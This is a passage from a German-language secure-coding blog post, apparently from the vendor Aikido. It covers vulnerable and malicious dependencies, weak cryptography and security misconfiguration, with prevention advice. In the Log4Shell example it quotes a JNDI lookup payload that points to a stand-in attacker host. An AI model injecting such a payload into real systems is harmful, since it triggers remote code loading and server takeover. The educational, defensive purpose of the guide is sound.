Viele Frameworks haben bekannte Deserialisierungsvektoren adressiert, z. B. durch das Deaktivieren gefährlicher Standardeinstellungen. Stellen Sie sicher, dass Sie diese Bibliotheken aktuell halten. Die oben genannte React-Schwachstelle wurde durch Patches für Next.js und React behoben – ein Upgrade auf diese ist entscheidend. Scan von Softwareabhängigkeiten wird Sie auf solche CVEs aufmerksam machen, damit Sie umgehend Patches anwenden können.
Auf der Code-Seite behandeln Sie die Deserialisierung wie das Laden einer Datei aus einer nicht vertrauenswürdigen Quelle – vertrauen Sie niemals ihrem Inhalt. Implementieren Sie Integritätsprüfungen oder Signaturen für serialisierte Daten, wenn möglich (sodass nur der Server gültige serialisierte Objekte erzeugen kann). Wenn Sie JWTs oder andere Token verwenden, bevorzugen Sie Standardformate mit integrierter Validierung. Aikido’s SAST kann dabei helfen, die Verwendung unsicherer Funktionen zu kennzeichnen (zum Beispiel kann es warnen, wenn es pickle.loads bei Daten sieht, die nicht offensichtlich vertrauenswürdig sind). Und wenn Sie unbedingt serialisierte Objekte akzeptieren müssen, sollten Sie diese Logik in einer Sandbox-Umgebung mit eingeschränkten Berechtigungen ausführen.
Zusammenfassend: Seien Sie äußerst vorsichtig bei der Deserialisierung. Die Bequemlichkeit, Bytes auf magische Weise in Objekte umzuwandeln, ist das Sicherheitsrisiko nicht wert, es sei denn, sie wird sehr streng kontrolliert.
7. Verwendung anfälliger und veralteter Abhängigkeiten
Moderne Anwendungen verlassen sich stark auf Open-Source-Bibliotheken und Frameworks. Der Nachteil ist, dass Sie, wenn Sie diese nicht aktualisieren, wahrscheinlich bekannte Schwachstellen in Ihrer Codebasis beherbergen. Die Verwendung anfälliger oder veralteter Komponenten ist so weit verbreitet, dass OWASP sie 2025 in die umfassendere Kategorie „Software Supply Chain“ aufgenommen hat. Eine einzige veraltete Bibliothek kann Ihre Anwendung angreifbar machen, selbst wenn Ihr eigener Code fehlerfrei ist.
Das Paradebeispiel ist Log4Shell (CVE-2021-44228) in Log4j 2. Dies war eine kritische RCE-Schwachstelle in einer äußerst beliebten Java-Logging-Bibliothek, die Ende 2021 offengelegt wurde. Sie ermöglichte es Angreifern, einfach einen speziell präparierten String (${jndi:ldap://attacker.com/a}) in eine beliebige Log-Nachricht zu senden; wenn eine anfällige Log4j-Version diesen String protokollierte, würde sie einen JNDI-Lookup zum Server des Angreifers durchführen und bösartigen Code laden. Das Ergebnis? Ein Angreifer konnte beliebigen Code auf dem Server ausführen, ausgelöst durch ein Log-Ereignis. Log4Shell war überall – Millionen von Anwendungen waren betroffen, da Log4j in unzähligen Java-Produkten eingebettet war. Unternehmen verbrachten Wochen damit, Log4j hektisch auf 2.17+ zu aktualisieren, um das Problem zu beheben. Dieser eine Abhängigkeitsfehler wurde als eine der schwerwiegendsten Internet-Schwachstellen seit Jahren bezeichnet.
Und es gibt noch viele weitere Beispiele: der Heartbleed-Bug in OpenSSL (2014) legte Kommunikationen offen, die Jackson-databind-Deserialisierungsfehler (mehrere CVEs in 2017-2019) ermöglichten Angreifern RCE über JSON-Verarbeitung, eine Schwachstelle in der Python-Bibliothek urllib3 (CVE-2020-26137) erlaubte unter bestimmten Bedingungen einen HTTPS-Zertifikats-Bypass usw. Im JavaScript-Bereich, wer kann die Prototype Pollution-Probleme in Lodash und jQuery vergessen (z. B. CVE-2019-10744) – Angreifer konnten das Prototyp eines Objekts über bösartige Eingaben manipulieren und potenziell Chaos in der Anwendung anrichten. Wenn Sie eine veraltete Version eines beliebten Pakets verwenden, sind die Schwachstellen dafür wahrscheinlich öffentlich bekannt. Angreifer kennen diese sicherlich und werden versuchen, Anwendungen auszunutzen, die nicht gepatcht wurden.
Auswirkungen: Die Auswirkungen variieren je nach Bibliotheks-Schwachstelle, können aber so schwerwiegend sein wie Remote Code Execution, Datenlecks oder eine vollständige Kompromittierung. Am Beispiel von Log4Shell – wenn Sie ein altes Log4j hatten, könnte ein Angreifer Code auf Ihren Servern aus der Ferne ausführen, indem er einfach den richtigen String sendet (das ist so schlimm, wie es nur geht). Ein veraltetes Web-Framework könnte XSS oder SQLi auf Ihrer Website ermöglichen, selbst wenn Ihr eigener Code korrekt ist. Eine anfällige Kryptographie-Bibliothek könnte die Verschlüsselung, auf die Sie sich verlassen, brechen. Im Wesentlichen ist Ihre Sicherheit nur so stark wie das schwächste Glied in Ihren Abhängigkeiten. Angreifer scannen oft nach spezifischen Softwareversionen über Header oder bekannte Dateipfade, um ausnutzbare Ziele zu identifizieren.
Prävention: Bleiben Sie bei Updates auf dem Laufenden. Das ist leichter gesagt als getan (in großen Projekten mit vielen Abhängigkeiten können ständige Updates mühsam sein), aber für die Sicherheit ist es nicht verhandelbar. Verwenden Sie Tools für das Abhängigkeitsmanagement, die Ihnen verfügbare Updates anzeigen können, und planen Sie regelmäßig Zeit für deren Anwendung ein. Nutzen Sie Software-Kompositionsanalyse (SCA)-Tools, die Sie benachrichtigen, wenn Ihr Projekt eine Bibliothek mit einer bekannten CVE einbindet. Zum Beispiel, wenn es eine kritische Schwachstelle in lodash 4.17.19 gibt und Sie diese verwenden, würde ein SCA-Tool dies kennzeichnen und ein Upgrade auf 4.17.21vorschlagen. Viele Paket-Registries veröffentlichen auch Sicherheitswarnungen – nutzen Sie die entsprechenden Audit-Tools für Ihr Ökosystem als Teil Ihres CI-Prozesses.
Über reine Warnungen hinaus können einige moderne Tools diese Probleme sogar AutoFixen – indem sie Sie automatisch auf sichere Versionen aktualisieren. Einige Plattformen können anfällige Pakete erkennen und das minimale Versions-Upgrade vorschlagen, das die CVE behebt (und sogar einen Pull Request für Sie öffnen). Testen Sie immer nach Upgrades, aber lassen Sie sich nicht von der Angst vor Breaking Changes auf einer alten, anfälligen Version halten – das Risiko einer Sicherheitsverletzung überwiegt in den meisten Fällen oft das Risiko eines kleineren Updates.
Minimieren Sie außerdem Abhängigkeiten, wenn möglich (weniger Bibliotheken bedeuten weniger potenzielle Schwachstellen), und bevorzugen Sie Bibliotheken mit aktiver Wartung. Wenn ein Projekt verlassen aussieht und bekannte Probleme aufweist, ziehen Sie Alternativen in Betracht. Behalten Sie Sicherheits-Feeds für kritische Schwachstellen in der von Ihnen verwendeten Technologie im Auge. Im Wesentlichen behandeln Sie das Abhängigkeitsmanagement als Teil Ihrer Sicherheitslage, nicht nur als DevOps-Aufgabe. Das Ziel ist es, bekannte Lücken zu schließen, bevor Angreifer sie ausnutzen.
8. Bösartige oder kompromittierte Abhängigkeiten (Lieferkettenangriffe)
Eng verwandt mit der Verwendung veralteter Komponenten, aber noch heimtückischer, sind Software-Lieferkettenangriffe – wenn Angreifer die Quelle vergiften, indem sie bösartigen Code in die von Ihnen verwendeten Drittanbieter-Pakete einschleusen. Anstatt auf eine Schwachstelle zu warten, erzeugen Angreifer eine, indem sie heimlich eine Bibliothek manipulieren (oder eine gefälschte veröffentlichen), die Entwickelnde dann in ihre Projekte integrieren. Diese Angriffsform hat in den letzten Jahren stark zugenommen, insbesondere in Ökosystemen wie npm und PyPI.
Ein dramatischer Fall ereignete sich im September 2025, als eine der größten npm-Kompromittierungen in der Geschichte stattfand. Angreifer phishten einen Maintainer beliebter Pakete wie debug und chalk (die zusammen über 2 Milliarden wöchentliche Downloads hatten!) und erlangten die Kontrolle über sein npm-Konto. Sie veröffentlichten dann infizierte Updates für 18 Pakete, wobei bösartiger Code hinzugefügt wurde, der auf Krypto-Wallets auf Webseiten abzielte. Entwickelnde, die arglos auf diese neuen Versionen aktualisierten, zogen im Wesentlichen Malware herein. Der bösartige Code klinkte sich in Web-APIs ein, um Kryptowährung zu stehlen, indem er Wallet-Adressen während Transaktionen austauschte. Dieser Vorfall war massiv – er setzte potenziell Millionen von Anwendungen einem Risiko aus, bis die Pakete entfernt und gepatcht wurden. Es ist eine deutliche Erinnerung daran, dass selbst weit verbreitete und vertrauenswürdige Pakete plötzlich zu Trojanern werden können, wenn ihre Maintainer kompromittiert werden.
Weitere Beispiele: Das npm-Paket event-stream wurde 2018 bekanntlich kompromittiert, um Bitcoin-Wallet-Schlüssel von einer bestimmten App zu stehlen. Im Jahr 2021 gab es bei PyPI eine Reihe von Typosquatting-Angriffen, bei denen Angreifer Pakete mit Namen, die beliebten ähnelten (z. B. urlib3 statt urllib3), hochluden, die Backdoors enthielten. Jeder, der den Namen falsch eingab, installierte das bösartige Paket. Selbst Infrastruktur-Tools wurden betroffen – Docker Hub Images, VSCode Extensions, und so weiter.
Auswirkungen: Eine bösartige Abhängigkeit kann jeden Code mit denselben Berechtigungen wie Ihre Anwendung ausführen. Das bedeutet, sie könnte Daten Ihrer App stehlen, Secrets (API-Schlüssel, Datenbank-Zugangsdaten) aus Ihrer Umgebung exfiltrieren, Backdoors platzieren oder sich drehen, um andere Systeme anzugreifen. Lieferkettenangriffe kehren das Vertrauensmodell effektiv gegen uns: Wir vertrauen darauf, dass Open-Source-Pakete harmlos sind, und integrieren sie daher frei. Wird dieses Vertrauen missbraucht, können die Auswirkungen weitreichend und sehr schwer zu erkennen sein (wie viele Entwickelnde überprüfen jede Codezeile in ihren node_modules? Keine). Die Skalierung macht dies so gefährlich – kompromittieren Sie ein beliebtes Paket, und Sie gefährden potenziell Tausende von nachgelagerten Anwendungen auf einmal.
Prävention: Die Abwehr bösartiger Abhängigkeiten ist eine Herausforderung, aber es gibt Best Practices:
- Versionen fixieren und verifizieren: Aktualisieren Sie Ihre Abhängigkeiten nicht blindlings und ohne Überprüfung automatisch auf die neueste Version. Verwenden Sie Lock-Dateien oder explizite Versions-Pins, damit ein plötzliches bösartiges Update nicht automatisch eingeschleust wird. Wenn eine neue Version einer kritischen Abhängigkeit veröffentlicht wird, werfen Sie, wenn möglich, einen Blick auf das Changelog oder den Diff, insbesondere wenn es sich um ein Paket mit hohem Einfluss handelt.
- Paketintegritätsfunktionen nutzen: Paketmanager wie npm und PyPI unterstützen die Verifizierung von Paketsignaturen oder Prüfsummen. Bei npm erhalten Sie einen SHA-512-Integritäts-Hash in der Lockfile – die Wahrscheinlichkeit, dass ein Angreifer eine Hash-Kollision erzeugt, ist vernachlässigbar, was sicherstellen kann, dass Sie genau das installieren, was Sie erwarten. Einige Ökosysteme verfügen über signierte Pakete – falls verfügbar, nutzen Sie diese Funktion.
- Sicherheitshinweise überwachen: Sicherheitshinweise und proaktive Überwachungstools können kennzeichnen, ob ein Paket kompromittiert ist. Bei einigen größeren Vorfällen wurden Warnungen sehr schnell ausgegeben. Projekte und Plattformen pflegen Threat Feeds für bösartige Pakete, die Sie warnen oder bekannte schadhafte Pakete an der Installation hindern können.
- Geringste Privilegien & Sandboxing: Erwägen Sie, Builds oder Paketinstallationen in isolierten Umgebungen auszuführen. Wenn ein bösartiges Paket ausgeführt wird, kann es in einer Sandbox oder einem Container mit eingeschränkten Berechtigungen weniger Schaden anrichten. Versuchen Sie außerdem, Ihre Anwendung zur Laufzeit mit den geringstmöglichen Privilegien auszuführen, damit eine Bibliothek, falls sie bösartig wird, nur minimalen Zugriff hat (führen Sie beispielsweise Ihre Node.js-App nicht als Root auf dem Server aus).
- Code auditieren, falls machbar: Dies ist in großem Maßstab schwierig, aber bei sehr kritischen Abhängigkeiten kann es sich lohnen, einen schnellen Code-Audit durchzuführen oder automatisierte Tools zu verwenden, die das Paketverhalten analysieren. Einige Tools versuchen zu erkennen, ob ein Update plötzlich Netzwerkverbindungen abbricht oder Umgebungsvariablen verdächtig liest.
Zusammenfassend lässt sich sagen: Bleiben Sie wachsam bezüglich Ihrer Lieferkette. Die Community entwickelt mehr Tools, um dies zu bekämpfen (npm bietet jetzt 2FA für Maintainer usw.), aber letztendlich müssen Sie als Konsument von Paketen genau darauf achten, was Sie in Ihre Anwendung integrieren. Der Einsatz einer automatisierten Lösung zum Scannen von Malware in Abhängigkeiten kann eine zusätzliche Verteidigungsebene bieten und bösartigen Code erkennen, bevor er Sie erwischt.
9. Schwache Kryptografie-Praktiken
Selbst wenn Entwickelnde versuchen, Daten zu sichern, ist wie sie es tun, entscheidend. Eine falsche Anwendung der Kryptografie kann ein falsches Sicherheitsgefühl vermitteln. Häufige Fallstricke sind die Verwendung veralteter oder schwacher Algorithmen, eine schlechte Schlüsselverwaltung oder die manuelle Implementierung von Kryptoprotokollen (und dabei Fehler zu machen). Diese Fehler führen nicht immer zu einer offensichtlichen CVE, aber sie untergraben die Schutzmaßnahmen, die Sie eigentlich implementieren wollten.
Einige Beispiele:
- Schwaches Hashing für Passwörter: Das Speichern von Passwörtern mit einem schnellen Hash wie MD5 oder SHA-1 (oder schlimmer noch, ohne Salt) ist gefährlich. Schnelle Hashes können mit moderner Hardware sehr schnell mittels Brute-Force-Angriffen oder Rainbow Tables geknackt werden. Es gab viele Sicherheitsverletzungen, bei denen Unternehmen Passwörter gehasht hatten, aber dennoch betroffen waren, weil Angreifer diese Hashes knackten. Deshalb ist der Industriestandard die Verwendung von langsamen, rechenintensiven Hashing-Verfahren (bcrypt, scrypt, Argon2) mit Salts.
- Fest codierte oder wiederverwendete kryptografische Schlüssel: Wir haben gesehen, wie Entwickelnde JWT Secret Keys, API HMAC Secrets oder Verschlüsselungsschlüssel in öffentliche Repositorys committen (dies überschneidet sich mit dem Secrets-Problem). Erhält ein Angreifer Ihren symmetrischen Schlüssel, kann er nach Belieben Token fälschen oder Daten entschlüsseln. Ähnlich kann die Wiederverwendung desselben Schlüssels über verschiedene Umgebungen hinweg oder die Verwendung von Standardschlüsseln (einige Frameworks lieferten früher einen Standard-JWT-Secret für den Entwicklungsmodus mit, den die Leute vergaßen zu ändern) zu einer Kompromittierung führen.
- Unsichere Zufälligkeit: Verwendung von kryptografisch unsicheren Zufallsgeneratoren für sicherheitsrelevante Tokens. Zum Beispiel die Verwendung von
Math.random()in JavaScript zur Generierung eines Passwort-Reset-Tokens – der vorhersehbar genug ist, um per Brute-Force geknackt zu werden. Es gab CVEs in Sprachen für schlechte Zufallszahlengenerierung, aber häufiger ist es ein Entwickelnder, der nicht erkennt, dass er etwas wiecrypto.randomBytesoderSecureRandom. - Eigene Kryptografie und Protokolle: „Entwickeln Sie keine eigene Kryptografie“ ist eine alte Weisheit. Die Implementierung eines eigenen Verschlüsselungsalgorithmus oder -protokolls führt wahrscheinlich zu Schwachstellen. Zum Beispiel könnte ein Entwickelnder entscheiden, Daten mit AES zu verschlüsseln, aber den ECB-Modus verwenden (der unsicher ist, da er identische Blöcke nicht randomisiert) – dieses Muster ist in einigen selbstentwickelten Verschlüsselungsbibliotheken aufgetaucht und hat zur Offenlegung von Informationen geführt. Ein weiteres Beispiel: Signaturen werden nicht korrekt überprüft (z. B. die Zertifikatskette in einer SSL-/TLS-Verbindung nicht geprüft, wodurch die Validierung effektiv deaktiviert wird – was zu Man-in-the-Middle-Schwachstellen in einigen Apps geführt hat).
Auswirkungen: Schwache Kryptografie kann zu Datenlecks und Authentifizierungs-Bypässen führen. Wenn Passwörter leicht zu knacken sind, bedeutet ein Bruch Ihrer gehashten Passwortdatenbank, dass Angreifer einen großen Prozentsatz der tatsächlichen Passwörter erhalten. Wenn Tokens oder Cookies mit einem schwachen Schlüssel (oder gar keinem) signiert sind, können Angreifer diese Tokens fälschen, um sich als Benutzer auszugeben (so funktionierte das JWT „alg:none“-Fiasko – es bedeutete im Wesentlichen „keine Signatur“). Wenn die Verschlüsselung falsch durchgeführt wird, könnten Angreifer sensible Daten entschlüsseln oder unbemerkt manipulieren. Im Wesentlichen denken Sie, Ihre Daten seien sicher, aber das sind sie nicht – und das kann katastrophal sein, da Sie möglicherweise keine anderen Schutzmaßnahmen ergreifen, in der Annahme, dass die Kryptografie Sie absichert.
Prävention: Befolgen Sie etablierte Best Practices und Standards gewissenhaft:
- Verwenden Sie bewährte Bibliotheken für Kryptografie, anstatt eigene zu schreiben. Verwenden Sie die neuesten Protokolle (TLS 1.3 statt TLS 1.0, JWT mit starken Algorithmen oder, wenn möglich, undurchsichtige Tokens mit serverseitiger Speicherung usw.).
- Wählen Sie starke Algorithmen und Modi: AES-GCM oder ChaCha20-Poly1305 für die Verschlüsselung, RSA oder ECDSA mit ausreichenden Schlüssellängen für Signaturen, PBKDF2/bcrypt/Argon2 für das Hashing von Passwörtern usw. Vermeiden Sie veraltete Algorithmen (MD5, SHA-1, DES, RC4 usw.).
- Schlüssel sicher verwalten: nicht fest codieren (wiederum Secret Management), Schlüssel regelmäßig rotieren und separate Schlüssel für separate Zwecke verwenden. Bei der Verwendung von JWTs stellen Sie sicher, dass das Signatur-Secret oder der Schlüssel ausreichend komplex und sicher gespeichert ist.
- Für Zufallswerte (API-Schlüssel, Tokens, Nonces) verwenden Sie kryptografisch sichere Zufallsgeneratoren. In den meisten Sprachen ist dies eine spezifische Funktion: z. B. crypto.randomBytes in Node, System.Security.Cryptography.RandomNumberGenerator in .NET, java.security.SecureRandom in Java (mit einer guten Quelle).
- Bei der Verwendung von Kryptografie-Bibliotheken lesen Sie deren Dokumentation zur korrekten Anwendung. Viele Fehler resultieren aus falscher Anwendung. Zum Beispiel, wenn Sie PyCrypto oder Go's Krypto-Paket verwenden, stellen Sie sicher, dass Sie für jeden Verschlüsselungsaufruf einen eindeutigen IV bereitstellen, Nonces nicht wiederverwenden usw. Viele Bibliotheken bieten sichere Standardeinstellungen, aber nicht alle.
- Tests und Überprüfung: Fügen Sie Tests hinzu, die beispielsweise sicherstellen, dass ein gehashtes Passwort nicht leicht geknackt werden kann oder dass verschlüsselte Daten nicht manipuliert werden können. Erwägen Sie den Einsatz von Tools wie Krypto-Lintern oder -Analysatoren, die schwache Algorithmen kennzeichnen können. Es gibt beispielsweise statische Analyseregeln zur Erkennung der Verwendung von MD5 oder konstanten IVs. Das Scanning von Aikido kann einige Muster schwacher Kryptografie-Nutzung (wie die Verwendung unsicherer Hash-Funktionen) erkennen und Sie darauf aufmerksam machen, damit Sie auf sicherere Alternativen umsteigen können.
Kurz gesagt, starke Kryptografie ist Ihr Freund – aber nur, wenn sie richtig eingesetzt wird. Nutzen Sie von der Community geprüfte Implementierungen und Konfigurationen. Im Zweifelsfall konsultieren Sie Sicherheitsexperten oder -ressourcen für den richtigen Ansatz, anstatt zu raten. Ein wenig zusätzliche Zeit, die Sie in die korrekte Kryptografie investieren, kann Sie später vor einem großen Datenleck bewahren.
10. Sicherheitsfehlkonfigurationen und unsichere Standardeinstellungen
Nicht alle Schwachstellen stammen aus der Code-Logik; manchmal ist es die Art und Weise, wie die Anwendung konfiguriert (oder fehlkonfiguriert) ist, die eine Lücke öffnet. Sicherheitsfehlkonfiguration ist eine breite Kategorie, aber im Kontext von Code sprechen wir über Dinge wie aktivierte Debug-Modi, die Verwendung von Standardanmeldeinformationen oder Beispielkonfigurationen, ausführliche Fehlermeldungen, die Informationen preisgeben, oder das Nichtkonfigurieren von Sicherheits-Headern. Dies sind oft einfache Versäumnisse, die schwerwiegende Folgen haben können.
Beispiele:
- Debug-Modus aktiviert lassen: Viele Frameworks (Django, Flask, Rails usw.) verfügen über einen Debug-/Entwicklermodus, der niemals in der Produktion aktiviert sein sollte. Im Debug-Modus bieten Frameworks oft umfangreiche Fehlerseiten und sogar interaktive Konsolen. Zum Beispiel ermöglicht der Werkzeug-Debugger in Flask die Ausführung von beliebigem Python-Code über den Browser – großartig für die Entwicklung, aber wenn er in der Produktion aktiviert bleibt (und ein Angreifer darauf zugreifen kann), ist es eine sofortige RCE (Remote Code Execution). Es gab Fälle, in denen fehlkonfigurierte Flask-Anwendungen mit aktiviertem Debug-Modus über das Internet zugänglich waren und Angreifer den Server leicht übernehmen konnten. (Dieses Problem ist so bekannt, dass Frameworks große Warnungen ausgeben, aber es tritt immer noch gelegentlich auf.)
- Standardanmeldeinformationen/Konfigurationen: Beispiele sind das Belassen des Standard-Admin-Passworts als „admin“ oder das Nichtändern von Standard-API-Schlüsseln. Im Code haben Sie vielleicht ein Tutorial verwendet, das ein Beispiel-JWT-Secret „secret123“ enthielt, und Sie haben es nie geändert – ups, das bedeutet, dass jeder Tokens fälschen könnte. Oder ein Cloud-Speicher-SDK könnte standardmäßig einen bestimmten Bucket-Namen oder eine Zugriffsregel verwenden, die Sie nicht überschrieben haben, wodurch versehentlich etwas öffentlich zugänglich bleibt.
- Ausführliche Fehlermeldungen und Stack Traces: Wenn Ihre Anwendung dem Benutzer vollständige Stack Traces oder Fehler-Dumps anzeigt, kann ein Angreifer viele Informationen (Softwareversionen, interne Pfade, Abfragestrukturen) gewinnen. Diese Informationen können andere Angriffe wie SQL-Injections erleichtern (durch Kenntnis der Abfragestruktur aus einer Fehlermeldung) oder die genaue Bestimmung der von Ihnen verwendeten Bibliotheksversionen ermöglichen.
- Sicherheits-Header und -Einstellungen: Die Nichtkonfiguration Ihrer Webanwendung mit sicheren Headern (Content Security Policy, X-Frame-Options, HSTS usw.) ist keine direkte Schwachstelle in Ihrem Code, aber sie versäumt es, bestimmte Arten von Angriffen zu mindern. Ähnlich kann das Zulassen, dass Ihre App über HTTP läuft (keine Weiterleitung zu HTTPS), oder das Nichtvalidieren von TLS-Zertifikaten, wenn Ihr Code ausgehende Anfragen stellt, unter Fehlkonfigurationen fallen, die zu Exploits (wie MITM) führen.
- Datei-/Verzeichnisberechtigungen und Uploads: Wenn Ihre App von Benutzern hochgeladene Dateien ohne Überprüfung in einem webzugänglichen Verzeichnis speichert, könnte ein Angreifer ein Skript hochladen und dann direkt über eine URL darauf zugreifen – nun hat er effektiv Code auf Ihrem Server ausgeführt (so funktionierten viele ältere PHP-Exploits). Dies könnte als Anwendungsfehlkonfiguration angesehen werden (gefährliche Dateitypen nicht verhindern und Uploads nicht ordnungsgemäß isolieren).
Auswirkungen: Fehlkonfigurationen können wie Code-Fehler zu einer sofortigen Kompromittierung führen. Zum Beispiel ist eine Admin-Oberfläche, die ohne Passwort belassen wird (es passiert!), im Grunde eine offene Tür. Eine aktivierte Debug-Konsole kann einem Angreifer Shell-Zugriff ermöglichen. Detaillierte Fehlermeldungen können Angreifern helfen, einen SQL-Injection- oder XSS-Vektor zu finden. Während Fehlkonfigurationen also wie „ach, das ist nur eine Einstellung“ klingen mögen, können sie genauso tödlich sein wie jede andere Schwachstelle. Der Uber-Datenleck von 2024 begann beispielsweise Berichten zufolge mit einem exponierten Admin-Tool ohne MFA – das ist ein Problem der Zugriffsfehlkonfiguration.
Prävention: Die gute Nachricht ist, dass Fehlkonfigurationen in der Regel einfach zu beheben sind, sobald sie identifiziert wurden. Es läuft oft darauf hinaus, eine gehärtete Konfigurations-Checkliste zu pflegen:
- Debug-/Entwicklermodi in der Produktion deaktivieren. Vor dem Deployment doppelt prüfen. Viele Frameworks erlauben eine Umgebungsvariable oder ein Konfigurations-Flag – stellen Sie sicher, dass es korrekt gesetzt ist. Sie können sogar eine Assertion im Code einfügen, um die Ausführung zu verweigern, wenn der Debug-Modus in einer nicht-lokalen Umgebung aktiviert ist.
- Alle Standardpasswörter und Secrets ändern. Dies ist grundlegend, muss aber betont werden. Alles, was mit Standardanmeldeinformationen geliefert wird, sollte bei der ersten Installation geändert werden. Wenn Sie Boilerplate-Code oder eine Vorlage verwenden, die Beispielschlüssel oder -passwörter enthält, durchsuchen Sie Ihre Codebasis danach und ersetzen Sie diese durch sichere Werte.
- Fehler elegant behandeln. Konfigurieren Sie eine generische Fehlerseite für Benutzer. Protokollieren Sie den detaillierten Fehler intern, aber geben Sie keine Stack Traces an EndBenutzer weiter. Berücksichtigen Sie auch, welche Informationen Ihre API-Fehler zurückgeben – geben Sie keine Dinge wie vollständige SQL-Abfragen oder Server-Dateipfade preis.
- Sicherheits-Header und Best Practices anwenden. Verwenden Sie Bibliotheken oder Middleware, die sichere Header setzen (viele Frameworks verfügen über ein Sicherheitsmodul, das Sie aktivieren können). Erzwingen Sie HTTPS und verwenden Sie HSTS, um ein Downgrade auf HTTP zu verhindern. Wenn Ihre App Iframes oder Cross-Origin zulassen muss, konfigurieren Sie dies bewusst; andernfalls setzen Sie X-Frame-Options DENY usw.
- Dateiupload-Verwaltung: Wenn Ihre App Dateiuploads verarbeitet, speichern Sie diese außerhalb des Web-Roots oder benennen Sie sie in harmlose Erweiterungen um. Validieren Sie Dateitypen. Und stellen Sie sicher, dass das Konto, unter dem Ihre App läuft, nur die Dateiberechtigungen besitzt, die es wirklich benötigt – begrenzen Sie den Explosionsradius.
- Aktuelle Plattformkonfigurationen: Halten Sie Ihren App-Server und Ihre Abhängigkeiten auf dem neuesten Stand, um von sicheren Standardeinstellungen zu profitieren. Neuere Versionen von Frameworks könnten beispielsweise standardmäßig strengere Sicherheitsmaßnahmen aktivieren.
Die Implementierung automatisierter Scans auf Fehlkonfigurationen kann hilfreich sein. Tools, einschließlich der Aikido-Plattform, können Ihre Anwendung und Infrastruktur auf gängige Fehlkonfigurationsmuster scannen – wie die Suche nach „DEBUG = True“ in einer Python-Konfigurationsdatei oder die Überprüfung, ob Ihre Website Sicherheits-Header sendet. Diese Prüfungen sind oft Teil einer Suite für Anwendungssicherheitstests.
Ziehen Sie schließlich die Verwendung von Infrastructure as Code (IaC) und DevOps-Pipelines in Betracht, um Konfigurationsstandards durchzusetzen. Wenn Sie Ihre App beispielsweise in einem Container bereitstellen, können Sie den Container so skripten, dass er fehlschlägt, wenn bestimmte Umgebungsvariablen (wie ein Debug-Flag für die Produktion) vorhanden sind. Der Schlüssel ist, die Bereitstellungskonfiguration nicht als nachträglichen Gedanken zu behandeln – sie ist ein integraler Bestandteil der Sicherheit Ihrer App.
Sicherheit in Ihre Entwicklungspipeline integrieren
Wir haben viel behandelt – von klassischen Injections und XSS bis hin zu den Nuancen von Lieferkettenangriffen und Krypto-Bugs. Wenn es ein zentrales Thema gibt, dann ist es, dass sicheres Codieren eine fortlaufende Anstrengung ist. Fehler werden passieren, neue Schwachstellen werden in Ihren Abhängigkeiten auftauchen, und Angreifer werden weiterhin nach der einen Übersehung suchen. Der beste Weg, um vorn zu bleiben, ist der Aufbau eines resilienten Entwicklungsprozesses, der Probleme frühzeitig und kontinuierlich erkennt.
Dies bedeutet, Praktiken wie Code-Reviews mit Sicherheitsfokus, regelmäßige Abhängigkeits-Updates und die Integration von Sicherheitstests in CI/CD zu übernehmen. Automatisierte Tools sind hier Ihr Verbündeter. Zum Beispiel können Statische Anwendungssicherheitstests (SAST) Ihren Code bereits während der Entwicklung analysieren und riskante Muster (SQL-Strings, gefährliche Funktionsaufrufe) kennzeichnen, bevor sie überhaupt ausgeführt werden. Abhängigkeitsscanner alarmieren Sie in dem Moment, in dem eine neue CVE eine Bibliothek in Ihrem Repository betrifft – entscheidend, wenn Exploits innerhalb von Stunden als Waffe eingesetzt werden. Secret-Scanning kann den „Oops“-Moment verhindern, einen API-Schlüssel auf GitHub zu pushen. Und Container-/Infrastruktur-Scans können sicherstellen, dass Ihre Deployment-Konfigurationen gehärtet sind.
Bei Aikido glauben wir daran, dies entwickelndenfreundlich zu gestalten. Wir lieben Open-Source-Tools wie ESLint, Semgrep, Trivy usw., wissen aber auch, dass das Aneinanderreihen einer Reihe von Scannern für Entwicklungsteams zu einer Herausforderung werden kann. Deshalb integrieren Plattformen wie Aikido mehrere Sicherheitsprüfungen (SAST, SCA, Secrets, IaC, Container-Scanning) mit Benutzerdefinierten Regeln und AutoFix-Funktionen – so erhalten Sie eine umfassende Abdeckung mit einer guten DX (Developer Experience). Ziel ist es, echte Schwachstellen mit vollem Kontext aufzuzeigen und sogar automatisierte Korrekturen oder Anleitungen direkt in Ihrem Workflow bereitzustellen. Wenn Aikido beispielsweise eine anfällige Bibliothek kennzeichnet, kann es die sichere Version zum Upgrade vorschlagen (und dies für Sie erledigen). Wenn es ein Secret findet, kann es Ihnen helfen, es zu rotieren und ein Wiederauftreten zu verhindern. Dies reduziert die Belastung für Entwickelnde, Sicherheitsexperten für jede Schwachstelle zu werden – die Tools unterstützen und Sie lernen dabei.
Als Entwickelnde haben Sie die Macht, Ihre Software für alle sicherer zu machen. Beginnen Sie damit, Sicherheitsfehler mit der gleichen Wichtigkeit wie funktionale Fehler zu behandeln. Integrieren Sie die besprochenen Top-Schwachstellen in Ihre Testfälle und Bedrohungsmodelle. Und gehen Sie es nicht allein an – nutzen Sie Sicherheitstools und -dienste, die sich in Ihre IDE und CI integrieren lassen. Sie können damit beginnen, einen kostenlosen Scan mit Aikido oder ähnlichen Plattformen für eines Ihrer Projekte durchzuführen, um zu sehen, was es findet. Das ist oft aufschlussreich! Richten Sie diese Tools so ein, dass sie bei jedem Pull Request ausgeführt werden, damit Probleme frühzeitig erkannt werden, wenn ihre Behebung am günstigsten ist.
Sicheres Codieren ist eine Reise, kein Ziel. Doch indem Sie sich dieser gängigen Schwachstellentypen bewusst sind und proaktiv die richtigen Praktiken und Tools einsetzen, können Sie Ihr Risiko drastisch reduzieren. Lassen Sie uns Code ausliefern, der nicht nur beeindruckend, sondern auch von Grund auf sicher ist. Ihre Benutzer (und Ihr zukünftiges Ich) werden es Ihnen danken.
Weiterlesen:
Top 9 Docker Container-Sicherheitslücken
Top 7 Cloud-Sicherheitslücken
Top 10 Webanwendungs-Sicherheitslücken, die jedes Team kennen sollte
Top 9 Kubernetes-Sicherheitslücken und Fehlkonfigurationen
Top 10 Python-Sicherheitslücken, die Entwickelnde vermeiden sollten
Top JavaScript-Sicherheitslücken in modernen Web-Apps
Top 9 Sicherheitslücken in der Software-Lieferkette erklärt

